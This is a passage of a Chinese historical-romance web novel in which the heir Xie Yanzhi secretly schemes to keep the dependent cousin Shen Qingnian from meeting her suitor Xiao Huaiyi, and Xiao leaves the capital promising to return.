“不过我既与你打赌,便一定会把人追到手的。”萧怀意拿起茶杯一饮而尽。 这时,刚才的小厮回来了。 萧怀意赶紧站起来,却发现只有小厮一人。 “沈姑娘呢?”萧怀意朝门口看了看,一个人影都没有。 那小厮双手供着,恭敬道:“沈姑娘听到是萧公子,说什么也不来见。” “对了,沈姑娘还让我将这个还给萧公子。”说着,小厮从怀中掏出一物递了过去。 萧怀意接过来一看,不就是昨日那把檀木梳子吗? 萧怀意一把抓住小厮的手:“沈姑娘可还说什么了?” 小厮看着眼前的公子脸色沉了下来,唯唯诺诺道:“沈姑娘还……还说,既然萧公子已经有了红颜知己,她不想做那破坏别人的姻缘之人,请公子不要再来纠缠她。” 萧怀意抓着小厮的领子:“快带我去她的院子,我要亲自与她说。” “这……”小厮看了眼谢宴之。 谢宴之伸手拦住了萧怀意:“怀意,你这样跑到一个女子的闺房不合适。” 听谢宴之这么说,萧怀意才松开了小厮的领子,冷静下来一想,确实如此。 沈姑娘本就是一个投奔而来的表小姐,处处仰人鼻息,府上的人本就看不上她。 若他一个男子冒然闯进她的闺房,叫人瞧见,害她失了名节,岂不是害她? 萧怀意把梳子揣进袖子里,对谢宴之道:“既然沈姑娘不肯见我,那我今日便先回去了。” 说完就朝门口走去。 谢宴之刚坐下,就听到门外传来萧怀意的声音:“宴之,我还没有输。” 一声细碎的声音传来,元青看到自家爷手中的茶杯碎了一角。 萧怀意! 昨晚他从浅月居回去的时候,元青就禀告了他,说沈清念要去万宝寺与萧怀意赏桃花,让元青今日帮忙找一辆马车。 谢宴之思索了一会儿。今日一早特意吩咐了丫鬟去撞伤菱儿,让沈清念赴不了约。 刚才又故意让小厮假装去见了沈清念,还将梳子还给萧怀意。 萧怀意竟还不放弃。 谢宴之眯着眼睛,心里想着到底哪一个才是真正的萧怀意? 是他眼前这个,还是沈清念面前那个? 元青无奈叹口气,爷这不就是搬起石头砸了自己的脚吗? 再说就萧公子那样的都能让沈姑娘中意,爷却没被人家看上。 元青瞥了一眼谢宴之,看到他又沉着个脸,摇了摇头,哎,爷也太不争气了。 他还不敢告诉菱角这些都是爷安排的,出于愧疚,只好将菱儿的脚包成大萝卜赔罪了。 萧怀意刚出观澜居的门,沈清念就扶着菱儿从旁边的屋子里出来了,刚好看见萧怀意的衣角。 “萧……”沈清念刚要开口。 谢宴之走过来挡在沈清念眼前:“看什么,你又对张兄感兴趣了?” “张兄?我还以为那是萧……”沈清念小声的说了一句。 脸上的欣喜也一下消失不见,取而代之的是一股难以言说的失望。 她还以为萧怀意在万宝寺没有等到她,特意来府上寻她了。 而且刚刚她分明也听到了萧怀意的声音。 “你以为那是萧怀意吗?”谢宴之直接说出沈清念要说的话。 “萧怀意可没空来这府上看你。”谢宴之又说道。 沈清念才不管谢宴之说什么,总归他是不想她好。 于是便朝谢宴之福了一礼:“不劳世子费心。今日菱儿的事也多谢世子了。” “还有……世子,明日能否安排一辆马车送我去万宝寺?”沈清念看着谢宴之。 第二日,沈清念早早地来到府门前,元青早就等在那里了。 沈清念没想到谢宴之让元青亲自来送她。 元青朝沈清念努了努嘴,沈清念踩着车厢凳上了马车。 掀起帘子一看,谢宴之正在里面闭目养神。沈清念终于明白元青努嘴的意思了。 “世子。”沈清念喊了一声,便在边上坐下来。 她看到谢宴之眼皮都没有抬一下。一副气定神闲的样子。好像对什么事情十分笃定的样子。 沈清念也不想去讨没趣。她只想快点见到萧怀意,证实他的心意。 谢宴之带着沈清念在万宝寺等了一天,直至日落黄昏,都没见到萧怀意。 “或许,他只是没有得到我的消息。沈清念喃喃道。 沈清念不想放弃,就算两人之间不成,她也想听他亲口说。 她如今的处境,由不得她再耽误,她必须要赶快离开侯府。 眼下萧怀意是她最好的选择。 没了萧怀意,她要去哪里寻夫婿。 哪里还能尽快寻到夫婿。 哪怕是让萧怀意假意与自己订亲,她也能借着这个名头,逼迫父亲放了母亲。 谢宴之看着沈清念还不死心的样子,心里涌起一股莫名的情绪。 他紧皱着眉:“怎么,你还不死心?” “沈清念,你们才相识不过两三日,你就相信他真的看上你了?”谢宴之的眼睛如鹰隼般盯着她。 沈清念在一旁不说话。她的心里有些乱。 忽然,她耳边传来谢宴之的声音:“走,我现在就带你去看看你的萧公子!” 第二十九章 日日想起 谢宴之的话刚说完,就见沈清念眼里闪过一丝耀眼的光芒。 怡翠院的屋子里,书案旁,萧怀意正提笔在宣纸上画什么。 蝶舞在一旁磨着墨。 萧怀意很快便画好了画作。蝶舞低下头,凑过去看了看。 一脸的惊喜,掩着面笑了。 沈清念看到那画上的好像是一位女子。 现在看蝶舞的神情,有一些娇羞,想必刚才萧怀意画的便是她吧。 谢宴之背着手站在她身后,悠悠道:“这浮云楼的离怡翠院最近,你可看真切了?” 此刻,二人正站在怡翠院对面的窗户旁,隔着一条缝看着对面。 沈清念又看到萧怀意接过蝶舞递来的杯子,一边喝一边提着刚才的画作欣赏。 蝶舞又凑近他耳边说了什么,他回过头来笑着看蝶舞。随后提笔继续。 品酒作画,好不恣意。 这与沈清念看到的萧怀意有些不同。她眼里的萧怀意端方受礼,举手投足都是如玉公子的模样。 此时她再看,蝶舞则在萧怀意身后望着他,眼里是一片情意绵绵。 “萧公子还真是洒脱,红袖添香,艳福不浅。”谢宴之漫不经心地说了一句,眼睛瞥了一眼沈清念。 沈清念面色平淡,实则内心已经有些难受。 但她还是镇定地对谢宴之道:“世子,我们回去吧。” 谢宴之似看好戏般,用戏谑的语气道:“哦?不继续看了?” 沈清念没说完,转身下了楼。 萧怀意正拿着酒杯,身子扶在窗户上,欣赏今晚的夜色。 恍惚间,他好像看到沈清念出现在对面的酒楼里。他赶紧放下酒杯要追下去:“沈姑娘!” 蝶舞拉着萧怀意,探出头往外瞧了一眼,什么也没看见。 她转过头来,对萧怀意道:“公子,莫不是你眼花了?哪里有沈姑娘的影子?” 萧怀意揉了揉眼再望去,窗户那里空无一人。 难道是他看错了? 蝶舞又掩着帕子笑了笑:“公子怕是睹画思人?” 萧怀意拿起桌上刚画的沈清念的画像,看着画上的人,眼里流露出丝丝情意。 “今夜月色真好,若沈姑娘在,一定会喜欢。” 画像上的沈清念拿着那把檀木梳子,一脸的羞涩地看着前方。弯弯的眉眼里,是浅浅的笑意。 这是他心里的沈姑娘!明媚且温柔。 刚刚蝶舞让他把那梳子也画上去,这样画完以后,萧怀意也觉着甚好。 这把梳子,也算是二人之间的信物了。 他又想起沈清念看他时那温柔的眼眸。 萧怀意从袖子里掏出那把檀木梳。那上面似乎还留着沈清念身上的味道。 萧怀意喃喃道:“沈姑娘,等着我。” 萧怀意又看着那画,就像沈清念含着笑在他面前一样。 他想着后面一定要去寻沈姑娘,将误会解释清楚。 沈清念回到浅月居。一句话也没有说,静静地坐在床边。 菱儿因为崴了脚,还不能行走,便没有跟着小姐出去。 她等了一天,好不容易才等到小姐回来。 却见小姐一副失魂落魄的样子。 难不成萧公子真的像传闻中那般不堪,小姐只能拒绝他? 想着那萧公子待小姐是极好的,而小姐也觉着十分开心,这怎么一下就满脸忧愁地回来了? 菱儿心里又急又慌,但她还是小心翼翼地问道:“小姐,今日萧公子是如何说的?” 沈清念摇了摇头。 萧怀意虽然没能来赴约,但那个马夫究竟有没有把话带到不未可知。 晚上她虽看到萧怀意和蝶舞在一起,蝶舞情意绵绵,但萧怀意眼里始终是一片澄澈,眼里没有丝毫男女之意。 她想起那日在船上,萧怀意问她:“沈姑娘,人人都说我是京里出名的纨绔,你可相信?” 沈清念没有回答,而是问了萧怀意一句:“萧公子,人人都以为我去靖南侯府是为了攀高枝儿,你可相信?” 两人四目相对,沈清念低着头笑了。萧怀意看着沈清念摇了摇头,也抿着唇笑了。 想到这里,沈清念决定无论如何也要与萧怀意再见上一面。 第二日一大早,谢宴之就让元青把沈清念叫来了观澜居。 等沈清念到的时候,见谢宴之的屋子里子摆放着几盘首饰。 谢宴之看了看沈清念一眼,坐在椅子上道:“你来挑几件首饰。” 沈清念一下没反应过来。 见沈清念愣在一旁,谢宴之又道:“昨日本世子亲自送沈姑娘去找了心上人,今日让你帮我选几件首饰都不肯?” 沈清念想了想,就当还他的情:“敢问世子选首饰是要做何用?” “送人。”谢宴之吐出两个字。 “心上人。”说完,他又扫了一眼沈清念,不想错过她脸上任何一个表情。 沈清念感到有些惊讶。从没听说过谢宴之与哪家闺秀有传闻,他竟忽然就有了心上人。 但,这也不干她的事。 “可我不知世子的心上人喜欢什么?怕选的东西不合姑娘的心意。世子何不让她自己来选?”沈清念如实地回答。 “她跟你差不多。”随意抛出一句话,谢宴之眼睛看向茶杯。 “年纪差不多。”沈清念又听见谢宴之说了一句。 不知为何,沈清念觉着她今天要是不选一样,谢宴之肯定不会放她离开。 既然是谢宴之的心上人,定是哪家闺秀,沈清念看了一圈,最后选了一个晴水的贵妃镯,温柔又不失贵气。 “世子,就这个镯子吧。”谢宴之看沈清念拿着那个玉镯子,在这些首饰中,并不显眼。 原来她喜欢那样的吗?倒是跟她平常喜欢的一样素淡。 “这里面不还有些金银头面吗?为何不选?”谢宴之问道。 “金银头面太过精贵,又有些笨重,平日里姑娘家不方便戴。” “这玉镯轻巧又不失贵气,那姑娘可以日日戴在手上,日日想起世子的情意。” 沈清念解释道。 “日日想起?”谢宴之的嘴角微微勾起。 “世子,那我就先回……” “那你就先把镯子戴上试试。”谢宴之打断了沈清念的话。 第三十章 她和你一样清瘦 沈清念原本是看首饰也挑选好了,她就想回去了,在这观澜居待久了,怕传出什么闲言碎语。 再说,她还想出府一趟,去找找萧怀意。 但听到谢颜值这样说,沈清念:“世子,这是你送给心上人的,我不能戴。” 谢宴之挑着眉:“你不戴着试试,我怎知这镯子大小合不合适?” 沈清念倒是忘了,镯子是要看圈口大小的。 早知道她就选那支红宝石的金簪了。 她低头看了看,她的手腕是比较细的,一般的姑娘或许真的戴不了。 “她和你一样清瘦。” 谢宴之似乎看出她的疑虑,冒出了这样一句话。 沈清念指着那簪子道:“若是怕镯子大小不合适,这支红宝石金簪也好的。” “好,那就都要。” 话刚说完,那支金簪就落在了沈清念的头上。 “镯子,戴上。” 谢宴之将镯子递给了沈清念。 这镯子是谢宴之估摸着沈清念的手腕大小叫掌柜的送来的。 沈清念看着咄咄逼人的谢宴之,也懒得跟他争辩。反正,他都是不会顾及别人的人。 沈清念戴上玉镯,发现几乎是和她的手腕大小一样,十分合适。 此刻在观澜居门口,顾灵玉正悄悄趴在门口,死死盯着屋子里面。 今日母亲就要她搬回信阳侯府了,她想来给宴之表哥道个别。 可她刚来,就看见沈清念戴上了那只贵妃镯。她仔细一看,旁边竟然还有好几盘首饰!宴之表哥竟然给沈清念那么多的首饰。 这么多年,表哥可是一个物件儿都没给她送过。 顾灵玉跺了跺脚,一甩帕子,狠狠道:“沈清念,你给我等着!” 身边的丫鬟香草催促道:“小姐,赶紧走吧,夫人在催了。” 可顾灵玉觉得她还没进去跟表哥告别呢。 香草看着她现在气得要扭曲的脸,哪里敢让她进去。万一惹恼了世子,小姐必然要难受,到时定要拿她撒气。 香草想了想,对顾灵玉道:“小姐,您现在进去跟世子道别,世子未必会有什么感觉。” “”而如果您就这样悄悄走了,等世子发现的时候,定会思虑您为何不道而别,到时说不定会专程来府上寻你问个明白。” “您和世子不就有机会了?” 顾灵玉觉着有些道理,这才愤愤不平地走了。 谢宴之看着沈清念头上的红宝石金簪,红色的宝石在光线下隐隐发着光,衬得沈清念的更加白皙。 金色的簪子别在乌黑的发间,整个人都有了贵气,俨然是世家小姐的模样。 手上的贵妃镯,莹润透绿,轻轻套在她的手上,显得手腕更加纤细,更添一抹温婉。 原来她戴这些明艳的物件儿也是这么的好看。 沈清念取下玉镯和发簪放回了木盘里,福了福身:“世子,若无其他事,我先回去了。” “嗯。”谢宴之淡淡地回道。 谢宴之想着这玉镯和金簪现在还不能给她。 依着她刚烈的性子,不会愿意无名无分地跟着他,所以她上次才拒绝了他。 谢宴之想着过几天等府里的人都在一起的时候,他再当众宣布纳她为妾,给足了她脸面,到时她应该会高兴吧。 谢宴之看着那几盘首饰,等他纳她那日,就把这些都给她送去,让她好好装扮装扮。 他的人不能寒酸。 沈清念走在路上,仔细想了一下最近发生的事情。 首先是菱儿脚受伤,所以她为了寻找菱儿,没能赴约。 之后,萧怀意又没有到万宝寺去赴她的约。 谢宴之又带她去酒楼偷看萧怀意跟蝶舞在一起的模样。 这一切,好像是要让她和萧怀意见不了面,或者说,是想让他们不能在一起。 是谁要那么做?是谢宴之吗?沈清念也觉得有些疑惑,若是谢宴之,那他为何又要为她寻这门亲事? 沈清念想了想,心里有了主意。 侯府后门。 沈清念找到了那日的马夫。她走上前去,马夫看到她,眼里有一丝错愕。 应是没有想到沈清念还会再找来。 沈清念对马夫道:“马夫大哥,那日我让你给我带口信给萧公子,你带到了吗?” 马夫佯装镇定,摸了摸头问道:“我带到了呀,怎么了?” “因为他没有来赴约。我想着大哥是不是找错了人,萧公子的眼下有一颗红痣的。” 马夫眼珠转了转,安慰沈清念道:“是呀,我递口信的那个人眼下就是有一颗红痣,一看就是贵人啊。” 沈清念听后若有所思的样子:“哦,那他许是有什么事耽搁了,多谢大哥了。” 沈清念福了一礼,便往回走,手却不自觉地攥紧了衣袖。 萧公子果然没有收到她的口信。这个马夫说了谎,因为萧公子的眼下根本没有红痣。 要么就是这个马夫拿了钱,却没有替她送口信,要么就是有人收买了这个马夫,可又会是谁呢? 一时间,沈清念也理不清思绪。 她只觉得心中有些透不过气来,一股无力感深深地向她席卷而来。 她一个打秋风的表小姐,有些人未免也太瞧得起她了。 她能掀起多大的风浪,更何况她也从没有妄想过什么。为什么那些人要这样对她? 再三思索之后,沈清念想清楚了,眼下最要紧的还是先与萧怀意见上一面。 可要如何才能见到萧怀意呢?要么他来,要么她去。 可要等萧怀意来,不知是什么时候,万一他不来了呢? 若自己出去找他,怎么出去呢?出去了又去哪里找萧怀意? 自己的浅月居现在已经进了贼人,又好像有人在暗中阻止他们两个人见面。 恐怕现在自己的行踪已经被人盯住了,没那么容易出府去。 走着走着,就到了浅月居,沈清念看见菱儿坐在花树下面,吃着松子儿。 见到沈清念回来,菱儿抬着一条腿,一跳一跳地蹦过来:“小姐,你回来了。” 沈清念抹了抹菱儿的头,宠溺地说道:“嗯,你这个小馋猫又吃上啦。哪来的松子儿呀?” “这还是元青大哥买的呀。菱儿可不吃独食,这是我给小姐留的呢,”说着,菱儿又从袖子里掏出一包松子儿。 “诺,小姐快吃。”菱儿将松子儿递了过来。 看着眼前递过来的松子儿,沈清念不禁想到:元青买的?是了,元青以前说过萧怀意的一些事,那元青或许知道在哪里能找到萧怀意。 沈清念突然灵机一动,看着菱儿:“元青给你买了松子儿,你不还他一些好吃的吗?” “嗯?”菱儿一脸懵。小姐这样笑眯眯地看着她,让她心里有了一丝丝惶恐。 第三十一章 他是真的想要了 午后,元青就在观澜居门口看到了一瘸一拐的菱儿,正蹦蹦跳跳的地拿着个油纸包,似要进来。 “菱角!”一股喜悦瞬间袭上心头,元青向赶紧向菱儿招了招手,示意守门的小厮将她放进来。 “元青哥!”看到她一蹦一跳的样子,元青又皱紧了眉,赶紧过去扶住她:“你脚还没好,怎么就跑出来了?” 元青将她扶到屋檐下,两个人在台阶上坐着。 菱儿歪着头道:“我在屋子里关了两日了,太闷了,想出来走走。” “元青哥是我在这个府上唯一的朋友,我就来找你了。” 元青听了,脸上立刻浮现了笑容。他刚刚听到菱角说他是她在这个府上唯一的朋友! 菱儿将油纸包递过去:“元青哥,今儿小姐做了栗子糕,我给你留了几个,快尝尝看。” 元青打开油纸,一股香甜的钻入鼻息,不得不感叹,清姑娘的手艺真好。 他又看看眼前这个双丫髻的小丫头,心里感到安慰。还算这小丫头有良心,有好吃的还能想起他来。 元青吃着栗子糕,抬头看见眼前的小丫头用双手托着腮,瘪着嘴望着远处,看起来有些闷闷不乐。 元青放下栗子糕,戳了戳菱儿头上的小揪儿:“菱角,怎么了,你看起来好像有些不开心?” 菱儿转过头来,叹了一口气:“元青哥,我就是发愁萧公子怎么不来找我家小姐?” 元青一脸疑惑:“萧公子不来找你家小姐,你发什么愁啊?” 萧怀意不找清姑娘是清姑娘的事。菱儿一个丫头愁什么? 元青转念一想,难道是因为那个平安? 萧公子不来,平安就不来,菱角就见不到那个平安了。 元青的心情一下就低落下来,手里的栗子糕也不香了。 “因为我喜欢萧公子当我们家的姑爷呀。”菱儿笑了起来,露出两个甜甜的梨涡。 元青有些好奇:“为什么喜欢萧公子给你家当姑爷?” 菱儿想了想:“萧公子一表人才呀。” 元青一听,这样的男子太多了。自家爷不就是一表人才,还气度非凡么? 菱儿的脑海里出现了萧怀意温风和煦的脸,继续道:“萧公子待人温和,也没有什么主子的架子。” 元青这时想起了他家爷像锅底一样黑的脸,还有他时不时被罚的月银…… “最重要的是,萧公子爱重我家小姐。他以后定会对小姐好的。”菱儿回过头,眼睛亮晶晶地看着元青。 元青一摸下巴,嗯?这个自家爷可不一定比不上。 他还从没见过爷对哪位姑娘上过心。 没见过爷给哪位姑娘备过首饰,买过兔子灯。 这些不都是爱重清姑娘吗? 这些爷都没对清姑娘说过。但他元青可不能让爷被那个萧怀意比了下去。 于是,元青清了清嗓子:“上回不是跟你说了吗?那萧公子就是一个纨绔,什么温润,都是装出来的。” 菱儿撅着嘴,有些生气:“你怎么这么说萧公子!是听人说了还是你亲眼看见了?” “当然是我亲眼看见了。有一日我去寻他的时候,他正跟一位女子在醉风楼搂搂抱抱。” “连萧府的门房都说,要找他去醉风楼就行。” “我听说那萧公子日日都在那里把酒言欢,纵情高歌,好不惬意。” 元青说完,见菱儿一脸的不敢相信,又道:“你呀,还是回去与清姑娘说说,这萧公子真不是良人。” 他家爷就比这萧公子好太多! 不过这句话他没说出口。不然他可能活不到下次见菱角的时候。 菱儿站起身来,拍了拍屁股,有些不太高兴:“元青哥,你多吃点,我就先回去了,出来久了,我怕小姐担心。” 元青明白,菱儿这是听他说萧公子的不是有些生气呢。 可萧公子本就是那样的人啊,清姑娘早知道比晚知道的好,以免错付终身。 “行,我送你回浅月居去。”元青看了看菱儿的脚。 菱儿摆了摆手:“不用,元青哥,我自己回去就行,你还当着差呢,一会儿大公子找你怎么办?” 虽然元青说了萧公子的坏话,但元青人还是挺好的。她不想元青受罚。 说完,菱儿就一颠一颠地走了。 元青看着手里的栗子糕,朝着菱儿的背影笑着摇了摇头:“小丫头,用两块栗子糕就来套你元青哥的话!整个侯府,就你一个人敢这样!” 他好歹也是爷身边长大的人。菱儿三两句话,他就知道她干嘛来了。 爷这几天拦着萧公子和清姑娘,不让二人见面。清姑娘只好让菱儿过来找他打听在哪里能找到萧怀意。 他告诉了菱儿萧怀意的去处,不知等会儿会不会被爷责罚。 再说,爷光拦着也没用,萧怀意是好是坏,还得看清姑娘自己的判断。 书房里。 菱儿过来打听的事还是没能瞒过谢宴之。 “她还想去见萧怀意?”谢宴之拿毛笔的手顿了顿,在宣纸上晕开一团墨。 元青低头,双手抱拳:“菱儿向我打听了萧公子的去处,我想应当是清姑娘的意思。” 谢宴之将毛笔放到一旁的笔山上,站起来走到一旁的窗户边,背着双手。 他没想到沈清念都亲眼所见了,还如此执着。 看来他要尽快纳了她,不要再给她任何机会被旁人抢走。 谢宴之眼睛一瞥:“你那怀里的是什么?” 元青低头,看到是那油纸包,便从怀里掏出来,双手奉上:“是菱儿拿来的栗子糕,是……是清姑娘亲手做的。” “嗯。”谢宴之看着那油纸包不再说话。 元青识趣儿地将栗子糕放在书案上,走了出去。 谢宴之走过去打开油纸包,里面的栗子酥很漂亮。就像沈清念,一个普通的商户之女,却总是不自觉地吸引着他。 谢宴之拿起一块栗子糕,轻轻咬了一口,味道很好。若是她亲自送过来的,就更好了。 随着谢宴之将最后一块栗子糕放进嘴里,他确认了一件事,沈清念这个人,他是真的想要了。 第三十二章 为何不进去 这日一早,沈清念梳洗后,就和菱儿一道来了侯府门口。 她昨日特意去找了姨母,给她安排一辆马车,今日她想去买些东西。 沈清念交代了菱儿几句,便戴着帷帽上了马车。 菱儿则慢慢地往府里走去。 只是沈清念的马车刚走,大门后面就出来一个身影,跟了上去。 马车一路慢悠悠往醉风楼去。 可到了醉风楼门口停下后,沈清念却并没有下车,只是掀开车帘的一角,往里看了两眼,又抬眼看了看二楼。 随即又便对马夫道:“走吧,回府。” 马夫也不明白,这来都来了,怎么不进去呢? 不过主子的心思,做下人的猜不得,听主子的吩咐就是了。 跟在后面的身影见马车掉头回去,也有些惊讶。不知道这马车里的人到底想干什么,只能在后面跟着,看着马车又回了靖南侯府。 靖南侯府内。 早上跟着出去的暗卫回来禀报谢宴之:“世子,沈姑娘去了醉风楼,但是并没有进去。” 谢宴之眯着眼:“她为何不进去?” 暗卫道:“这属下不知。不过看起来,好像是沈姑娘的腿有一些不适。” “她的腿不适?”谢宴之琢磨着这句话。 “是的,早上沈姑娘来的时候,看着像右脚有些使不上劲儿,是身边那个丫鬟将沈姑娘扶着过来的。” 谢宴之手里的笔断成了两截。 菱儿就是崴的右脚! 恐怕她现在已经见到萧怀意了吧。 沈清念,为了见一个男人竟这样防着他! 此刻,一个扎着双丫髻的丫鬟出现在醉风楼前。她抬起头,露出一张绝美的脸,正是乔装后的沈清念。 原来菱儿那天回去的时候,遇到了之前跟她聊天的膳房那两个粗苯丫头,银珠和金珠。 二人这回没有提着食盒,而是每人扛着一袋大萝卜,大步朝前,而身后的小厮却累得气喘吁吁。 菱儿有些惊讶她们两个女子,力气竟如此之大,便跟她们打了个招呼:“金珠!银珠!” 两个丫头一看,是那日分给她们松子儿的小丫头,便放下袋子,笑盈盈道:“菱儿!好久不曾看到你了。” 菱儿问道:“你们怎么在扛萝卜?” 金珠拍了拍胸脯道:“因为我们姐妹力气大,伙房的管事麽便让我们每天跟着出去采买食材了。” “现在我们都不给府里的主子们送饭了。” 菱儿听后十分羡慕:“那你们岂不是每天都能出府一趟?真好。” 她每日待在这府里,太闷了。 忽然,菱儿似想到了一个好主意般:“金珠,银珠,你们能带我出府一趟吗?” “我这脚都崴了好几天了,还不见好,我想出去找大夫看看。” 丫鬟受了伤,主子一般是不会给请大夫的。金珠银珠相互看了看,便同意了。 银珠说:“那明日你到后门来,我们坐牛车去。” 今日,沈清念就与菱儿互换了装扮,沈清念将菱儿扶上马车后,便来了后门。 告诉金珠银珠,菱儿的脚严重了,她去帮忙买药。 现在金珠和银珠采买去了。她一个人来了醉风楼。 沈清念走进醉风楼里,到处看了一下,没有发现萧怀意的身影。 金珠银珠特意交代了不能错过时辰。沈清念的头上已经急出了细细密密的汗。 她必须快点找到萧公子,跟他说明一切。 可萧怀意到底在哪里? 她正欲回头时,忽然看到那边楼梯上,有个男子正欲上二楼去。 沈清念大喜,提着裙摆跑上去拍了拍那人的背:“萧公子!” 面前的男子回过头来,见是一名美貌的丫鬟在喊他,愣了愣。 沈清念一看,这人不是萧怀意,随即道:“对不起,我认错人了。” 男子还欲说什么,沈清念已经下楼了。 一楼她看了,没有萧怀意的身影,二楼都是包间,她不可能一间一间去敲门。 这时,她看到店小二的正送了客进来,掏出一点银裸子递到小二手里:“小哥,今日萧怀意公子有没有来酒楼啊?” 若照元青所说,萧怀意是这里的常客,那这店小二肯定认得他。 小二将银裸子塞进怀里道:“姑娘来得不巧,萧公子今日不曾来过。” 小二又说道:“萧公子已经好多日不曾来过了。” 好多日不曾来了?那以后她去哪里找萧怀意? 见沈清念一副怅然若思的样子,小二又凑近了道:“听说萧府家里出了些事,萧老爷带着几位公子出城去了。” 听到这话,沈清念如遭雷击。萧怀意出城了,那什么时候能回来? 沈清念失魂落魄地出了醉风楼的门。 路边的行人行色匆匆,她却好似已经没有力气站立,在人群里摇摇欲坠。 天空中几滴雨落在她脸上,她已经分不清哪是雨水,哪是泪水。 待沈清念走后,店小二来到二楼的一间包间。 萧怀意在里面正襟危坐,凑在萧怀意耳边说了刚才的情况。 萧怀意早就打点好了,若有人来寻他,就说他不在。 但萧怀意没有想到会是一个丫头来找他,隐隐觉得有些不对劲。 店小二刚要退下,他又问了一句:“那丫鬟长什么样?” “扎着双丫髻,肤如凝脂,唇红齿白,很是好看。” 萧怀意倒想不起谁家的丫鬟很是好看。他只觉得他的沈姑娘甚是好看。 店小二恭敬地退下后,门口又进来一人,拿着扇子,一身玄衣。 那人就是沈清念刚刚认错的公子萧景意。 此时,萧怀意已经换成了一副吊儿郎当的样子,敞开着衣襟,提着酒壶往嘴里,酒洒出来,顺着衣襟流下去。 萧怀意看着萧景意:“哟,二哥来了。” 看着萧怀意醉眼朦胧的样子,屋子里一股酒气,萧景意用扇子捂住了鼻,嫌恶道:“快些走,爹吩咐了即刻出发,不得有误。” 萧怀意歪歪倒倒地站起来,“怎么?连我这种废物纨绔也要带上?” 萧景意瘪了瘪嘴:“带上你自然有你的用处。” 萧怀意知道,又是他那个大哥萧洪意惹了祸事。 而他,是特意用来收拾烂摊子顶罪的吧。 萧怀意给了平安一个眼神,平安迅速带上了桌上的包袱。 那里面是今日他给沈清念买的紫薯糕。 醉风楼的紫薯糕很是有名,香甜软糯,最重要的是这是一种江南的特色吃食。 而沈姑娘就是江南来的,他想她肯定会喜欢。 只是现在不能给亲自给沈姑娘送去了。 萧怀意一行人从酒后后面打马而过,朝城门赶去。 此刻,沈清念已经坐在采买的牛车上了,一个人闷闷不语,金珠银珠则坐在另一侧,小心地护着采买的食材。 忽然前面传来一阵骚动,一群兵官押着一辆囚车浩浩荡荡地游街。 马路两侧变得拥堵起来,沈清念他们的牛车被挡在了这边,忽然,沈清念手臂一疼,一个东西落到了她怀里。 第三十三章 你把我当成什么了 沈清念捡起来一看,是一枚圆圆的玉佩,通体透亮,一看就价值连城。 她抬头望去,见街对面一行骑马的人中,有一人正看着她。 沈清念一下笑了起来,那人正是萧怀意。 一如既往,眉清目秀,丰神俊朗,带着和煦的笑。 但就在那押解囚车的队伍离开的瞬间,那行人就打马朝城门飞奔而去。萧怀意回头看了眼沈清念,就消失在城门外。 但沈清念来不及伤怀,她赶紧跳下牛车,跑到对面捏泥人儿的小摊上,取走了一个包袱。 刚刚她看到萧怀意指了指那个包袱。 她打开来看了看,里面是她们江南的小吃食紫薯糕。 金珠银珠一看到沈清念跳了下去,赶紧喊车夫停了牛车,等等沈清念。 沈清念紧紧地抱着包袱,坐在牛车上满眼含笑。 萧怀意是喜欢她的。他没有放弃她。 她的脑海里浮现出刚刚的画面 被那群押解囚车的官兵挡住,两人只能隔着街看着对方。 沈清念看到萧怀意用嘴型说了一句话,他说:“沈姑娘,等我!” 说完她又看见萧怀意一脸温暖的笑,好像见到她是一件让他了无遗憾的事。 翩翩公子,骑着高头大马,是那样的意气风发。 沈清念回道浅月居的时候,雨下得很大。 “小姐,你怎么弄成这样了?” 菱儿远远地就看见自己小姐抱着一个包袱,在雨里慢悠悠地走着,被雨水打湿的头发贴着脸颊,身上的衣服也湿得透透的。 看到自家小姐这副落汤鸡的模样,她心疼极了。 菱儿赶紧举着伞冲到雨里将沈清念领进屋子,又递过去一条毛巾,“小姐,你先擦一擦,我去烧锅热水来。” 可她发现小姐没有回应她,回头一看,自家小姐抱着个包袱坐在那儿一动不动,嘴角微微扬起,一副心满意足的模样。 菱儿赶紧掀开帘子出去烧好水,又打满了热水在浴桶里,催促着沈清念:“小姐,快来沐浴吧,小心着凉了。” 她还不知道小姐今日有没有见到萧公子?也不知道他们是否了解了彼此的心意。 为小姐撑开屏风后,她便退了出去。 这浅月居就她们主仆二人,小姐沐浴时,她总是守在外面的。 可菱儿一转身就看到谢宴之高大欣长的身影,穿着一身黑色长袍,背着手,立在雨幕里,俊朗飘逸,气宇轩昂,腰间的绿翡玉佩衬得他一身贵气。 元青则在一旁替谢宴之举着油纸伞。 菱儿惊讶得张开嘴,显然是被谢宴之吓到了,她张嘴:“大…公……”。 元青赶紧做了一个“嘘”的手势,他怕菱儿出声会惊扰到清姑娘。 谢宴之迈着步子,缓缓地走近门口,却被一只手拦住了去路。 虽然菱儿很害怕谢宴之,但她还是伸手拦住了谢宴之。 “大公子,小姐在沐浴,现在不便见您。” 谢宴之冷着眼看了菱儿一眼,眼里的寒光,让菱儿浑身一颤。 “你把本世子当什么人?” 以为他是见美人沐浴就要闯进去的浪荡子吗? 谢宴之站在门口,朝里屋瞧了一眼,见那屏风上搭着一件丫鬟的衣服,正往下滴着水。 旁边那抹影子若隐若现地映在屏风上。 不用看也能想象到里面的人如瀑的乌发散在水里,玉一般的双肩露在外面,纤纤细手露出水面,水珠顺着手臂滑落下去…… 这时,沈清念听到菱儿好像在说话,问道:“菱儿,你在说话吗?” 菱儿看着谢宴之,摇摇头:“没有,小姐,我没说话。” 菱儿刚说完,就见谢宴之转过身去,一言不发地离开了浅月居。 她不知道大公子到底来浅月居做什么。 但谢宴之知道! 只因他刚刚收到消息,今日一早萧老爷就带着萧家三位公子离了京城,一路不曾停留。 谢宴之听到这个消息时,皱着的眉头才缓了缓。 他猜想沈清念应该还没来得及见到萧怀意。 所以他来浅月居,只是想告诉沈清念,萧怀意已经离开了京城了。不要再对萧怀意心存幻想。 但现在,只能等她沐浴完,再来找她说。也是时候,跟她说纳她的事了。 而在城外的大马路上,平安有些不解地问萧怀意:“公子,你为何不与沈姑娘说说话。这一走,不知多久才能回。” 萧怀意神色凝重道:“不能让人发现沈姑娘,现在还不是时候。” 他还没有到摊牌的时候。一个萧家的弃子,还没有能力守护喜欢的人。 若此时被人发现沈姑娘是他心尖上的人。那沈姑娘将成为掣肘他的软肋,还有可能因此害沈姑娘丢了性命。 萧怀意不敢冒这个险。但他愿意搏一搏,他也只要沈清念平平安安地等着他回来。 萧怀意现在只盼着事情能早些解决。 他心里默默想着,快了,就快了。 平安听后,隐约有些懂了。公子是为了保护沈姑娘。公子现在还不能与沈姑娘坦白。 